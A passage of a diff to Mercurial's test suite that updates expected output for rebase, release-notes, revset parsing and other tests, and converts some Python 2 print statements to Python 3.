-  rebasing 5:54c8f00cb91c "E" (E tip)
-  o    5: E
-  |\
-  | o  4: C
-  | |
-  o |  3: B
-  |/
   o  2: Z
   |
-  o  1: A
-  |
-  o  0: R
-  
-The destination is one of the two branching points of a merge:
-
-  $ rebasewithdag -b F -d Z <<'EOS'
-  >     F
-  >    / \
-  >   E   D
-  >  /   /
-  > Z   C
-  >  \ /
-  >   B
-  >   |
-  >   A
-  > EOS
-  nothing to rebase
-  [1]
-
-Multiple branching points caused by multiple bases (issue5420):
-
-  $ rebasewithdag -b E1+E2+C2+B1 -d Z <<'EOS'
-  >   Z    E2
-  >   |   /
-  >   F E1 C2
-  >   |/  /
-  >   E C1 B2
-  >   |/  /
-  >   C B1
-  >   |/
-  >   B
-  >   |
-  >   A
-  >   |
-  >   R
-  > EOS
-  rebasing 3:a113dbaa660a "B1" (B1)
-  rebasing 5:06ce7b1cc8c2 "B2" (B2)
-  rebasing 6:0ac98cce32d3 "C1" (C1)
-  rebasing 8:781512f5e33d "C2" (C2)
-  rebasing 9:428d8c18f641 "E1" (E1)
-  rebasing 11:e1bf82f6b6df "E2" (E2)
-  o  12: E2
-  |
-  o  11: E1
-  |
-  | o  10: C2
-  | |
-  | o  9: C1
-  |/
-  | o  8: B2
-  | |
-  | o  7: B1
-  |/
-  o  6: Z
-  |
-  o  5: F
-  |
-  o  4: E
-  |
-  o  3: C
-  |
-  o  2: B
-  |
-  o  1: A
-  |
-  o  0: R
-  
-Multiple branching points with multiple merges:
-
-  $ rebasewithdag -b G+P -d Z <<'EOS'
-  > G   H   P
-  > |\ /|   |\
-  > F E D   M N
-  >  \|/|  /| |\
-  > Z C B I J K L
-  >  \|/  |/  |/
-  >   A   A   A
-  > EOS
-  rebasing 2:dc0947a82db8 "C" (C)
-  rebasing 8:4e4f9194f9f1 "D" (D)
-  rebasing 9:03ca77807e91 "E" (E)
-  rebasing 10:afc707c82df0 "F" (F)
-  rebasing 13:690dfff91e9e "G" (G)
-  rebasing 14:2893b886bb10 "H" (H)
-  rebasing 3:08ebfeb61bac "I" (I)
-  rebasing 4:a0a5005cec67 "J" (J)
-  rebasing 5:83780307a7e8 "K" (K)
-  rebasing 6:e131637a1cb6 "L" (L)
-  rebasing 11:d1f6d0c3c7e4 "M" (M)
-  rebasing 12:7aaec6f81888 "N" (N)
-  rebasing 15:325bc8f1760d "P" (P tip)
-  o    15: P
-  |\
-  | o    14: N
-  | |\
-  o \ \    13: M
-  |\ \ \
-  | | | o  12: L
-  | | | |
-  | | o |  11: K
-  | | |/
-  | o /  10: J
-  | |/
-  o /  9: I
-  |/
-  | o    8: H
-  | |\
-  | | | o  7: G
-  | | |/|
-  | | | o  6: F
-  | | | |
-  | | o |  5: E
-  | | |/
-  | o |  4: D
-  | |\|
-  +---o  3: C
-  | |
-  o |  2: Z
-  | |
-  | o  1: B
-  |/
-  o  0: A
-  
-Slightly more complex merge case (mentioned in https://www.mercurial-scm.org/pipermail/mercurial-devel/2016-November/091074.html):
-
-  $ rebasewithdag -b A3+B3 -d Z <<'EOF'
-  > Z     C1    A3     B3
-  > |    /     / \    / \
-  > M3 C0     A1  A2 B1  B2
-  > | /       |   |  |   |
-  > M2        M1  C1 C1  M3
-  > |
-  > M1
-  > |
-  > M0
-  > EOF
-  rebasing 4:8817fae53c94 "C0" (C0)
-  rebasing 6:06ca5dfe3b5b "B2" (B2)
-  rebasing 7:73508237b032 "C1" (C1)
-  rebasing 9:fdb955e2faed "A2" (A2)
-  rebasing 11:4e449bd1a643 "A3" (A3)
-  rebasing 10:0a33b0519128 "B1" (B1)
-  rebasing 12:209327807c3a "B3" (B3 tip)
-  o    12: B3
-  |\
-  | o  11: B1
-  | |
-  | | o    10: A3
-  | | |\
-  | +---o  9: A2
-  | | |
-  | o |  8: C1
-  | | |
-  o | |  7: B2
-  | | |
-  | o |  6: C0
-  |/ /
-  o |  5: Z
-  | |
-  o |  4: M3
-  | |
-  o |  3: M2
-  | |
-  | o  2: A1
-  |/
-  o  1: M1
-  |
-  o  0: M0
-  
-Disconnected graph:
-
-  $ rebasewithdag -b B -d Z <<'EOS'
-  >   B
-  >   |
-  > Z A
-  > EOS
-  nothing to rebase from 112478962961 to 48b9aae0607f
-  [1]
-
-Multiple roots. Roots are ancestors of dest:
-
-  $ rebasewithdag -b B+D -d Z <<'EOF'
-  > D Z B
-  >  \|\|
-  >   C A
-  > EOF
-  rebasing 2:112478962961 "B" (B)
-  rebasing 3:b70f76719894 "D" (D)
-  o  4: D
-  |
-  | o  3: B
-  |/
-  o    2: Z
-  |\
-  | o  1: C
+  o  1: Y
   |
   o  0: A
   
-Multiple roots. One root is not an ancestor of dest:
-
-  $ rebasewithdag -b B+D -d Z <<'EOF'
-  > Z B D
-  >  \|\|
-  >   A C
-  > EOF
-  nothing to rebase from f675d5a1c6a4+b70f76719894 to 262e37e34f63
-  [1]
-
-Multiple roots. One root is not an ancestor of dest. Select using a merge:
-
-  $ rebasewithdag -b E -d Z <<'EOF'
-  >   E
-  >   |\
-  > Z B D
-  >  \|\|
-  >   A C
-  > EOF
-  rebasing 2:f675d5a1c6a4 "B" (B)
-  rebasing 5:f68696fe6af8 "E" (E tip)
-  o    5: E
-  |\
-  | o    4: B
-  | |\
-  | | o  3: Z
-  | | |
-  o | |  2: D
-  |/ /
-  o /  1: C
-   /
-  o  0: A
-  
-Multiple roots. Two children share two parents while dest has only one parent:
-
-  $ rebasewithdag -b B+D -d Z <<'EOF'
-  > Z B D
-  >  \|\|\
-  >   A C A
-  > EOF
-  rebasing 2:f675d5a1c6a4 "B" (B)
-  rebasing 3:c2a779e13b56 "D" (D)
-  o    4: D
-  |\
-  +---o  3: B
-  | |/
-  | o  2: Z
-  | |
-  o |  1: C
-   /
-  o  0: A
-  
+  $ cd ..
diff --git a/tests/test-record.t b/tests/test-record.t
--- a/tests/test-record.t
+++ b/tests/test-record.t
@@ -62,6 +62,7 @@
    -w --ignore-all-space    ignore white space when comparing lines
    -b --ignore-space-change ignore changes in the amount of white space
    -B --ignore-blank-lines  ignore changes whose lines are all blank
+   -Z --ignore-space-at-eol ignore changes in whitespace at EOL
   
   (some details hidden, use --verbose to show complete help)
 
diff --git a/tests/test-releasenotes-formatting.t b/tests/test-releasenotes-formatting.t
--- a/tests/test-releasenotes-formatting.t
+++ b/tests/test-releasenotes-formatting.t
@@ -1,3 +1,5 @@
+#require fuzzywuzzy
+
   $ cat >> $HGRCPATH << EOF
   > [extensions]
   > releasenotes=
@@ -376,3 +378,82 @@
   
   * Adds a new feature.
 
+  $ cd ..
+
+Testing output for the --check (-c) flag
+
+  $ hg init check-flag
+  $ cd check-flag
+
+  $ touch a
+  $ hg -q commit -A -l - << EOF
+  > .. asf::
+  > 
+  >    First paragraph under this admonition.
+  > EOF
+
+Suggest similar admonition in place of the invalid one.
+
+  $ hg releasenotes -r . -c
+  Invalid admonition 'asf' present in changeset 4026fe9e1c20
+
+  $ touch b
+  $ hg -q commit -A -l - << EOF
+  > .. fixes::
+  > 
+  >    First paragraph under this admonition.
+  > EOF
+
+  $ hg releasenotes -r . -c
+  Invalid admonition 'fixes' present in changeset 0e7130d2705c
+  (did you mean fix?)
+
+  $ cd ..
+
+Usage of --list flag
+
+  $ hg init relnotes-list
+  $ cd relnotes-list
+  $ hg releasenotes -l
+  feature: New Features
+  bc: Backwards Compatibility Changes
+  fix: Bug Fixes
+  perf: Performance Improvements
+  api: API Changes
+
+  $ cd ..
+
+Raise error on simultaneous usage of flags
+
+  $ hg init relnotes-raise-error
+  $ cd relnotes-raise-error
+  $ hg releasenotes -r . -l
+  abort: cannot use both '--list' and '--rev'
+  [255]
+
+  $ hg releasenotes -l -c
+  abort: cannot use both '--list' and '--check'
+  [255]
+
+Display release notes for specified revs if no file is mentioned
+
+  $ hg init relnotes-nofile
+  $ cd relnotes-nofile
+
+  $ touch fix1
+  $ hg -q commit -A -l - << EOF
+  > commit 1
+  > 
+  > .. fix:: Title of First Fix
+  > 
+  >    First paragraph of fix 1.
+  > EOF
+
+  $ hg releasenote -r .
+  Bug Fixes
+  =========
+  
+  Title of First Fix
+  ------------------
+  
+  First paragraph of fix 1.
diff --git a/tests/test-releasenotes-merging.t b/tests/test-releasenotes-merging.t
--- a/tests/test-releasenotes-merging.t
+++ b/tests/test-releasenotes-merging.t
@@ -1,3 +1,5 @@
+#require fuzzywuzzy
+
   $ cat >> $HGRCPATH << EOF
   > [extensions]
   > releasenotes=
@@ -158,3 +160,122 @@
   
   * this is fix3.
 
+  $ cd ..
+
+Ignores commit messages containing issueNNNN based on issue number.
+
+  $ hg init simple-fuzzrepo
+  $ cd simple-fuzzrepo
+  $ touch fix1
+  $ hg -q commit -A -l - << EOF
+  > commit 1
+  > 
+  > .. fix::
+  > 
+  >    Resolved issue4567.
+  > EOF
+
+  $ cat >> $TESTTMP/issue-number-notes << EOF
+  > Bug Fixes
+  > =========
+  > 
+  > * Fixed issue1234 related to XYZ.
+  > 
+  > * Fixed issue4567 related to ABC.
+  > 
+  > * Fixed issue3986 related to PQR.
+  > EOF
+
+  $ hg releasenotes -r . $TESTTMP/issue-number-notes
+  "issue4567" already exists in notes; ignoring
+
+  $ cat $TESTTMP/issue-number-notes
+  Bug Fixes
+  =========
+  
+  * Fixed issue1234 related to XYZ.
+  
+  * Fixed issue4567 related to ABC.
+  
+  * Fixed issue3986 related to PQR.
+
+  $ cd ..
+
+Adds short commit messages (words < 10) without
+comparison unless there is an exact match.
+
+  $ hg init tempdir
+  $ cd tempdir
+  $ touch feature1
+  $ hg -q commit -A -l - << EOF
+  > commit 1
+  > 
+  > .. feature::
+  > 
+  >    Adds a new feature 1.
+  > EOF
+
+  $ hg releasenotes -r . $TESTTMP/short-sentence-notes
+
+  $ touch feature2
+  $ hg -q commit -A -l - << EOF
+  > commit 2
+  > 
+  > .. feature::
+  > 
+  >    Adds a new feature 2.
+  > EOF
+
+  $ hg releasenotes -r . $TESTTMP/short-sentence-notes
+  $ cat $TESTTMP/short-sentence-notes
+  New Features
+  ============
+  
+  * Adds a new feature 1.
+  
+  * Adds a new feature 2.
+
+  $ cd ..
+
+Ignores commit messages based on fuzzy comparison.
+
+  $ hg init fuzznotes
+  $ cd fuzznotes
+  $ touch fix1
+  $ hg -q commit -A -l - << EOF
+  > commit 1
+  > 
+  > .. fix::
+  > 
+  >    This is a fix with another line.
+  >    And it is a big one.
+  > EOF
+
+  $ cat >> $TESTTMP/fuzz-ignore-notes << EOF
+  > Bug Fixes
+  > =========
+  > 
+  > * Fixed issue4567 by improving X.
+  > 
+  > * This is the first line. This is next line with one newline.
+  > 
+  >   This is another line written after two newlines. This is going to be a big one.
+  > 
+  > * This fixes another problem.
+  > EOF
+
+  $ hg releasenotes -r . $TESTTMP/fuzz-ignore-notes
+  "This is a fix with another line. And it is a big one." already exists in notes file; ignoring
+
+  $ cat $TESTTMP/fuzz-ignore-notes
+  Bug Fixes
+  =========
+  
+  * Fixed issue4567 by improving X.
+  
+  * This is the first line. This is next line with one newline.
+  
+    This is another line written after two newlines. This is going to be a big
+    one.
+  
+  * This fixes another problem.
diff --git a/tests/test-releasenotes-parsing.t b/tests/test-releasenotes-parsing.t
--- a/tests/test-releasenotes-parsing.t
+++ b/tests/test-releasenotes-parsing.t
@@ -1,3 +1,5 @@
+#require fuzzywuzzy
+
   $ cat >> $HGRCPATH << EOF
   > [extensions]
   > releasenotes=
diff --git a/tests/test-relink.t b/tests/test-relink.t
--- a/tests/test-relink.t
+++ b/tests/test-relink.t
@@ -8,13 +8,15 @@
   > }
 
   $ cat > arelinked.py <<EOF
-  > import sys, os
+  > from __future__ import absolute_import, print_function
+  > import os
+  > import sys
   > from mercurial import util
   > path1, path2 = sys.argv[1:3]
   > if util.samefile(path1, path2):
-  >     print '%s == %s' % (path1, path2)
+  >     print('%s == %s' % (path1, path2))
   > else:
-  >     print '%s != %s' % (path1, path2)
+  >     print('%s != %s' % (path1, path2))
   > EOF
 
 
@@ -58,6 +60,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files
+  new changesets 008c0c271c47
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd clone
diff --git a/tests/test-rename-after-merge.t b/tests/test-rename-after-merge.t
--- a/tests/test-rename-after-merge.t
+++ b/tests/test-rename-after-merge.t
@@ -35,6 +35,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets d2ae7f538514
   (run 'hg heads' to see heads, 'hg merge' to merge)
 
   $ hg merge
diff --git a/tests/test-rename-dir-merge.t b/tests/test-rename-dir-merge.t
--- a/tests/test-rename-dir-merge.t
+++ b/tests/test-rename-dir-merge.t
@@ -218,6 +218,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets 7d51ed18da25
   (run 'hg heads' to see heads, 'hg merge' to merge)
 
   $ hg merge
diff --git a/tests/test-rename.t b/tests/test-rename.t
--- a/tests/test-rename.t
+++ b/tests/test-rename.t
@@ -12,7 +12,7 @@
 
   $ hg rename d1/d11/a1 d2/c
   $ hg --config ui.portablefilenames=abort rename d1/a d1/con.xml
-  abort: filename contains 'con', which is reserved on Windows: 'd1/con.xml'
+  abort: filename contains 'con', which is reserved on Windows: d1/con.xml
   [255]
   $ hg sum
   parent: 0:9b4b6e7b2c26 tip
diff --git a/tests/test-repair-strip.t b/tests/test-repair-strip.t
--- a/tests/test-repair-strip.t
+++ b/tests/test-repair-strip.t
@@ -4,7 +4,7 @@
   > import sys
   > for entry in sys.stdin.read().split('\n'):
   >     if entry:
-  >         print entry.split('\x00')[0]
+  >         print(entry.split('\x00')[0])
   > EOF
 
   $ echo "[extensions]" >> $HGRCPATH
diff --git a/tests/test-requires.t b/tests/test-requires.t
--- a/tests/test-requires.t
+++ b/tests/test-requires.t
@@ -32,7 +32,8 @@
 
   $ echo 'featuresetup-test' >> supported/.hg/requires
   $ cat > $TESTTMP/supported-locally/supportlocally.py <<EOF
-  > from mercurial import localrepo, extensions
+  > from __future__ import absolute_import
+  > from mercurial import extensions, localrepo
   > def featuresetup(ui, supported):
   >     for name, module in extensions.extensions(ui):
   >         if __name__ == module.__name__:
diff --git a/tests/test-resolve.t b/tests/test-resolve.t
--- a/tests/test-resolve.t
+++ b/tests/test-resolve.t
@@ -255,8 +255,8 @@
   warning: conflicts while merging file2! (edit, then use 'hg resolve --mark')
   [1]
   $ ls .hg/origbackups
-  file1.orig
-  file2.orig
+  file1
+  file2
   $ grep '<<<' file1 > /dev/null
   $ grep '<<<' file2 > /dev/null
 
diff --git a/tests/test-revert.t b/tests/test-revert.t
--- a/tests/test-revert.t
+++ b/tests/test-revert.t
@@ -92,7 +92,7 @@
   $ echo z > e
   $ hg revert --all -v --config 'ui.origbackuppath=.hg/origbackups'
   creating directory: $TESTTMP/repo/.hg/origbackups (glob)
-  saving current version of e as $TESTTMP/repo/.hg/origbackups/e.orig (glob)
+  saving current version of e as $TESTTMP/repo/.hg/origbackups/e (glob)
   reverting e
   $ rm -rf .hg/origbackups
 
diff --git a/tests/test-revlog-mmapindex.t b/tests/test-revlog-mmapindex.t
new file mode 100644
--- /dev/null
+++ b/tests/test-revlog-mmapindex.t
@@ -0,0 +1,55 @@
+create verbosemmap.py
+  $ cat << EOF > verbosemmap.py
+  > # extension to make util.mmapread verbose
+  > 
+  > from __future__ import absolute_import
+  > 
+  > from mercurial import (
+  >     extensions,
+  >     util,
+  > )
+  > 
+  > def extsetup(ui):
+  >     def mmapread(orig, fp):
+  >         ui.write("mmapping %s\n" % fp.name)
+  >         ui.flush()
+  >         return orig(fp)
+  > 
+  >     extensions.wrapfunction(util, 'mmapread', mmapread)
+  > EOF
+
+setting up base repo
+  $ hg init a
+  $ cd a
+  $ touch a
+  $ hg add a
+  $ hg commit -qm base
+  $ for i in `$TESTDIR/seq.py 1 100` ; do
+  > echo $i > a
+  > hg commit -qm $i
+  > done
+
+set up verbosemmap extension
+  $ cat << EOF >> $HGRCPATH
+  > [extensions]
+  > verbosemmap=$TESTTMP/verbosemmap.py
+  > EOF
+
+mmap index which is now more than 4k long
+  $ hg log -l 5 -T '{rev}\n' --config experimental.mmapindexthreshold=4k
+  mmapping $TESTTMP/a/.hg/store/00changelog.i (glob)
+  100
+  99
+  98
+  97
+  96
+
+do not mmap index which is still less than 32k
+  $ hg log -l 5 -T '{rev}\n' --config experimental.mmapindexthreshold=32k
+  100
+  99
+  98
+  97
+  96
+
+  $ cd ..
diff --git a/tests/test-revlog-raw.py b/tests/test-revlog-raw.py
--- a/tests/test-revlog-raw.py
+++ b/tests/test-revlog-raw.py
@@ -119,11 +119,27 @@
                     'deltabase': rlog.node(deltaparent),
                     'delta': rlog.revdiff(deltaparent, r)}
 
+        def deltaiter(self):
+            chain = None
+            for chunkdata in iter(lambda: self.deltachunk(chain), {}):
+                node = chunkdata['node']
+                p1 = chunkdata['p1']
+                p2 = chunkdata['p2']
+                cs = chunkdata['cs']
+                deltabase = chunkdata['deltabase']
+                delta = chunkdata['delta']
+                flags = chunkdata['flags']
+
+                chain = node
+
+                yield (node, p1, p2, cs, deltabase, delta, flags)
+
     def linkmap(lnode):
         return rlog.rev(lnode)
 
     dlog = newrevlog(destname, recreate=True)
-    dlog.addgroup(dummychangegroup(), linkmap, tr)
+    dummydeltas = dummychangegroup().deltaiter()
+    dlog.addgroup(dummydeltas, linkmap, tr)
     return dlog
 
 def lowlevelcopy(rlog, tr, destname=b'_destrevlog.i'):
diff --git a/tests/test-revset-dirstate-parents.t b/tests/test-revset-dirstate-parents.t
--- a/tests/test-revset-dirstate-parents.t
+++ b/tests/test-revset-dirstate-parents.t
@@ -14,19 +14,19 @@
 
   $ try 'p1()'
   (func
-    ('symbol', 'p1')
+    (symbol 'p1')
     None)
   * set:
   <baseset []>
   $ try 'p2()'
   (func
-    ('symbol', 'p2')
+    (symbol 'p2')
     None)
   * set:
   <baseset []>
   $ try 'parents()'
   (func
-    ('symbol', 'parents')
+    (symbol 'parents')
     None)
   * set:
   <baseset+ []>
diff --git a/tests/test-revset.t b/tests/test-revset.t
--- a/tests/test-revset.t
+++ b/tests/test-revset.t
@@ -155,8 +155,8 @@
 
   $ try 0:1
   (range
-    ('symbol', '0')
-    ('symbol', '1'))
+    (symbol '0')
+    (symbol '1'))
   * set:
   <spanset+ 0:2>
   0
@@ -166,8 +166,7 @@
     None)
   * optimized:
   (rangeall
-    None
-    define)
+    None)
   * set:
   <spanset+ 0:10>
   0
@@ -182,8 +181,8 @@
   9
   $ try 3::6
   (dagrange
-    ('symbol', '3')
-    ('symbol', '6'))
+    (symbol '3')
+    (symbol '6'))
   * set:
   <baseset+ [3, 5, 6]>
   3
@@ -192,9 +191,9 @@
   $ try '0|1|2'
   (or
     (list
-      ('symbol', '0')
-      ('symbol', '1')
-      ('symbol', '2')))
+      (symbol '0')
+      (symbol '1')
+      (symbol '2')))
   * set:
   <baseset [0, 1, 2]>
   0
@@ -204,14 +203,14 @@
 names that should work without quoting
 
   $ try a
-  ('symbol', 'a')
+  (symbol 'a')
   * set:
   <baseset [0]>
   0
   $ try b-a
   (minus
-    ('symbol', 'b')
-    ('symbol', 'a'))
+    (symbol 'b')
+    (symbol 'a'))
   * set:
   <filteredset
     <baseset [1]>,
@@ -219,14 +218,14 @@
       <baseset [0]>>>
   1
   $ try _a_b_c_
-  ('symbol', '_a_b_c_')
+  (symbol '_a_b_c_')
   * set:
   <baseset [6]>
   6
   $ try _a_b_c_-a
   (minus
-    ('symbol', '_a_b_c_')
-    ('symbol', 'a'))
+    (symbol '_a_b_c_')
+    (symbol 'a'))
   * set:
   <filteredset
     <baseset [6]>,
@@ -234,14 +233,14 @@
       <baseset [0]>>>
   6
   $ try .a.b.c.
-  ('symbol', '.a.b.c.')
+  (symbol '.a.b.c.')
   * set:
   <baseset [7]>
   7
   $ try .a.b.c.-a
   (minus
-    ('symbol', '.a.b.c.')
-    ('symbol', 'a'))
+    (symbol '.a.b.c.')
+    (symbol 'a'))
   * set:
   <filteredset
     <baseset [7]>,
@@ -252,20 +251,20 @@
 names that should be caught by fallback mechanism
 
   $ try -- '-a-b-c-'
-  ('symbol', '-a-b-c-')
+  (symbol '-a-b-c-')
   * set:
   <baseset [4]>
   4
   $ log -a-b-c-
   4
   $ try '+a+b+c+'
-  ('symbol', '+a+b+c+')
+  (symbol '+a+b+c+')
   * set:
   <baseset [3]>
   3
   $ try '+a+b+c+:'
   (rangepost
-    ('symbol', '+a+b+c+'))
+    (symbol '+a+b+c+'))
   * set:
   <spanset+ 3:10>
   3
@@ -277,7 +276,7 @@
   9
   $ try ':+a+b+c+'
   (rangepre
-    ('symbol', '+a+b+c+'))
+    (symbol '+a+b+c+'))
   * set:
   <spanset+ 0:4>
   0
@@ -286,8 +285,8 @@
   3
   $ try -- '-a-b-c-:+a+b+c+'
   (range
-    ('symbol', '-a-b-c-')
-    ('symbol', '+a+b+c+'))
+    (symbol '-a-b-c-')
+    (symbol '+a+b+c+'))
   * set:
   <spanset- 3:5>
   4
@@ -301,15 +300,15 @@
     (minus
       (minus
         (negate
-          ('symbol', 'a'))
-        ('symbol', 'b'))
-      ('symbol', 'c'))
+          (symbol 'a'))
+        (symbol 'b'))
+      (symbol 'c'))
     (negate
-      ('symbol', 'a')))
+      (symbol 'a')))
   abort: unknown revision '-a'!
   [255]
   $ try é
-  ('symbol', '\xc3\xa9')
+  (symbol '\xc3\xa9')
   * set:
   <baseset [9]>
   9
@@ -325,8 +324,8 @@
 
   $ try '"-a-b-c-"-a'
   (minus
-    ('string', '-a-b-c-')
-    ('symbol', 'a'))
+    (string '-a-b-c-')
+    (symbol 'a'))
   * set:
   <filteredset
     <baseset [4]>,
@@ -346,9 +345,9 @@
   (or
     (list
       (and
-        ('symbol', '1')
-        ('symbol', '2'))
-      ('symbol', '3')))
+        (symbol '1')
+        (symbol '2'))
+      (symbol '3')))
   * set:
   <addset
     <baseset []>,
@@ -357,10 +356,10 @@
   $ try '1|2&3'
   (or
     (list
-      ('symbol', '1')
+      (symbol '1')
       (and
-        ('symbol', '2')
-        ('symbol', '3'))))
+        (symbol '2')
+        (symbol '3'))))
   * set:
   <addset
     <baseset [1]>,
@@ -369,20 +368,20 @@
   $ try '1&2&3' # associativity
   (and
     (and
-      ('symbol', '1')
-      ('symbol', '2'))
-    ('symbol', '3'))
+      (symbol '1')
+      (symbol '2'))
+    (symbol '3'))
   * set:
   <baseset []>
   $ try '1|(2|3)'
   (or
     (list
-      ('symbol', '1')
+      (symbol '1')
       (group
         (or
           (list
-            ('symbol', '2')
-            ('symbol', '3'))))))
+            (symbol '2')
+            (symbol '3'))))))
   * set:
   <addset
     <baseset [1]>,
@@ -472,11 +471,11 @@
 
   $ try 'foo=bar|baz'
   (keyvalue
-    ('symbol', 'foo')
+    (symbol 'foo')
     (or
       (list
-        ('symbol', 'bar')
-        ('symbol', 'baz'))))
+        (symbol 'bar')
+        (symbol 'baz'))))
   hg: parse error: can't use a key-value pair in this context
   [255]
 
@@ -484,19 +483,18 @@
 
   $ try --optimize 'foo=(not public())'
   (keyvalue
-    ('symbol', 'foo')
+    (symbol 'foo')
     (group
       (not
         (func
-          ('symbol', 'public')
+          (symbol 'public')
           None))))
   * optimized:
   (keyvalue
-    ('symbol', 'foo')
+    (symbol 'foo')
     (func
-      ('symbol', '_notpublic')
-      None
-      any))
+      (symbol '_notpublic')
+      None))
   hg: parse error: can't use a key-value pair in this context
   [255]
 
@@ -505,13 +503,13 @@
   $ hg debugrevspec -p parsed 'tip:tip^#generations[-1]'
   * parsed:
   (range
-    ('symbol', 'tip')
+    (symbol 'tip')
     (relsubscript
       (parentpost
-        ('symbol', 'tip'))
-      ('symbol', 'generations')
+        (symbol 'tip'))
+      (symbol 'generations')
       (negate
-        ('symbol', '1'))))
+        (symbol '1'))))
   9
   8
   7
@@ -524,10 +522,10 @@
   (not
     (relsubscript
       (func
-        ('symbol', 'public')
+        (symbol 'public')
         None)
-      ('symbol', 'generations')
-      ('symbol', '0')))
+      (symbol 'generations')
+      (symbol '0')))
 
 left-hand side of relation-subscript operator should be optimized recursively:
 
@@ -537,41 +535,34 @@
   (relsubscript
     (not
       (func
-        ('symbol', 'public')
-        None
-        any)
-      define)
-    ('symbol', 'generations')
-    ('symbol', '0')
-    define)
+        (symbol 'public')
+        None))
+    (symbol 'generations')
+    (symbol '0'))
   * optimized:
   (relsubscript
     (func
-      ('symbol', '_notpublic')
-      None
-      any)
-    ('symbol', 'generations')
-    ('symbol', '0')
-    define)
+      (symbol '_notpublic')
+      None)
+    (symbol 'generations')
+    (symbol '0'))
 
 resolution of subscript and relation-subscript ternary operators:
 
   $ hg debugrevspec -p analyzed 'tip[0]'
   * analyzed:
   (subscript
-    ('symbol', 'tip')
-    ('symbol', '0')
-    define)
+    (symbol 'tip')
+    (symbol '0'))
   hg: parse error: can't use a subscript in this context
   [255]
 
   $ hg debugrevspec -p analyzed 'tip#rel[0]'
   * analyzed:
   (relsubscript
-    ('symbol', 'tip')
-    ('symbol', 'rel')
-    ('symbol', '0')
-    define)
+    (symbol 'tip')
+    (symbol 'rel')
+    (symbol '0'))
   hg: parse error: unknown identifier: rel
   [255]
 
@@ -579,11 +570,9 @@
   * analyzed:
   (subscript
     (relation
-      ('symbol', 'tip')
-      ('symbol', 'rel')
-      define)
-    ('symbol', '0')
-    define)
+      (symbol 'tip')
+      (symbol 'rel'))
+    (symbol '0'))
   hg: parse error: can't use a subscript in this context
   [255]
 
@@ -591,12 +580,10 @@
   * analyzed:
   (subscript
     (relsubscript
-      ('symbol', 'tip')
-      ('symbol', 'rel')
-      ('symbol', '0')
-      define)
-    ('symbol', '1')
-    define)
+      (symbol 'tip')
+      (symbol 'rel')
+      (symbol '0'))
+    (symbol '1'))
   hg: parse error: can't use a subscript in this context
   [255]
 
@@ -604,12 +591,10 @@
   * analyzed:
   (relsubscript
     (relation
-      ('symbol', 'tip')
-      ('symbol', 'rel0')
-      define)
-    ('symbol', 'rel1')
-    ('symbol', '1')
-    define)
+      (symbol 'tip')
+      (symbol 'rel0'))
+    (symbol 'rel1')
+    (symbol '1'))
   hg: parse error: unknown identifier: rel1
   [255]
 
@@ -617,13 +602,11 @@
   * analyzed:
   (relsubscript
     (relsubscript
-      ('symbol', 'tip')
-      ('symbol', 'rel0')
-      ('symbol', '0')
-      define)
-    ('symbol', 'rel1')
-    ('symbol', '1')
-    define)
+      (symbol 'tip')
+      (symbol 'rel0')
+      (symbol '0'))
+    (symbol 'rel1')
+    (symbol '1'))
   hg: parse error: unknown identifier: rel1
   [255]
 
@@ -692,28 +675,23 @@
     (group
       (or
         (list
-          ('symbol', '0')
-          ('symbol', '1'))))
-    ('symbol', '1'))
+          (symbol '0')
+          (symbol '1'))))
+    (symbol '1'))
   * analyzed:
   (and
     (or
       (list
-        ('symbol', '0')
-        ('symbol', '1'))
-      define)
+        (symbol '0')
+        (symbol '1')))
     (not
-      ('symbol', '1')
-      follow)
-    define)
+      (symbol '1')))
   * optimized:
   (difference
     (func
-      ('symbol', '_list')
-      ('string', '0\x001')
-      define)
-    ('symbol', '1')
-    define)
+      (symbol '_list')
+      (string '0\x001'))
+    (symbol '1'))
   0
 
   $ hg debugrevspec -p unknown '0'
@@ -732,19 +710,15 @@
   * analyzed:
   (and
     (func
-      ('symbol', 'r3232')
-      None
-      define)
-    ('symbol', '2')
-    define)
+      (symbol 'r3232')
+      None)
+    (symbol '2'))
   * optimized:
-  (and
-    ('symbol', '2')
+  (andsmally
     (func
-      ('symbol', 'r3232')
-      None
-      define)
-    define)
+      (symbol 'r3232')
+      None)
+    (symbol '2'))
   * analyzed set:
   <baseset [2]>
   * optimized set:
@@ -776,8 +750,7 @@
     None)
   * analyzed:
   (rangeall
-    None
-    define)
+    None)
   * set:
   <spanset+ 0:10>
   0
@@ -793,8 +766,7 @@
   $ try -p analyzed ':1'
   * analyzed:
   (rangepre
-    ('symbol', '1')
-    define)
+    (symbol '1'))
   * set:
   <spanset+ 0:2>
   0
@@ -804,10 +776,8 @@
   (rangepre
     (or
       (list
-        ('symbol', '1')
-        ('symbol', '2'))
-      define)
-    define)
+        (symbol '1')
+        (symbol '2'))))
   * set:
   <spanset+ 0:3>
   0
@@ -817,10 +787,8 @@
   * analyzed:
   (rangepre
     (and
-      ('symbol', '1')
-      ('symbol', '2')
-      define)
-    define)
+      (symbol '1')
+      (symbol '2')))
   * set:
   <baseset []>
 
@@ -831,8 +799,8 @@
   $ try '1^:2'
   (range
     (parentpost
-      ('symbol', '1'))
-    ('symbol', '2'))
+      (symbol '1'))
+    (symbol '2'))
   * set:
   <spanset+ 0:3>
   0
@@ -842,8 +810,8 @@
   $ try '1^::2'
   (dagrange
     (parentpost
-      ('symbol', '1'))
-    ('symbol', '2'))
+      (symbol '1'))
+    (symbol '2'))
   * set:
   <baseset+ [0, 1, 2]>
   0
@@ -853,7 +821,7 @@
   $ try '9^:'
   (rangepost
     (parentpost
-      ('symbol', '9')))
+      (symbol '9')))
   * set:
   <spanset+ 8:10>
   8
@@ -863,10 +831,10 @@
 
   $ try '1^(:2)'
   (parent
-    ('symbol', '1')
+    (symbol '1')
     (group
       (rangepre
-        ('symbol', '2'))))
+        (symbol '2'))))
   hg: parse error: ^ expects a number 0, 1, or 2
   [255]
 
@@ -874,11 +842,11 @@
 
   $ try 'sort(1^:2)'
   (func
-    ('symbol', 'sort')
+    (symbol 'sort')
     (range
       (parentpost
-        ('symbol', '1'))
-      ('symbol', '2')))
+        (symbol '1'))
+      (symbol '2')))
   * set:
   <spanset+ 0:3>
   0
@@ -891,9 +859,9 @@
       (group
         (range
           (parentpost
-            ('symbol', '3'))
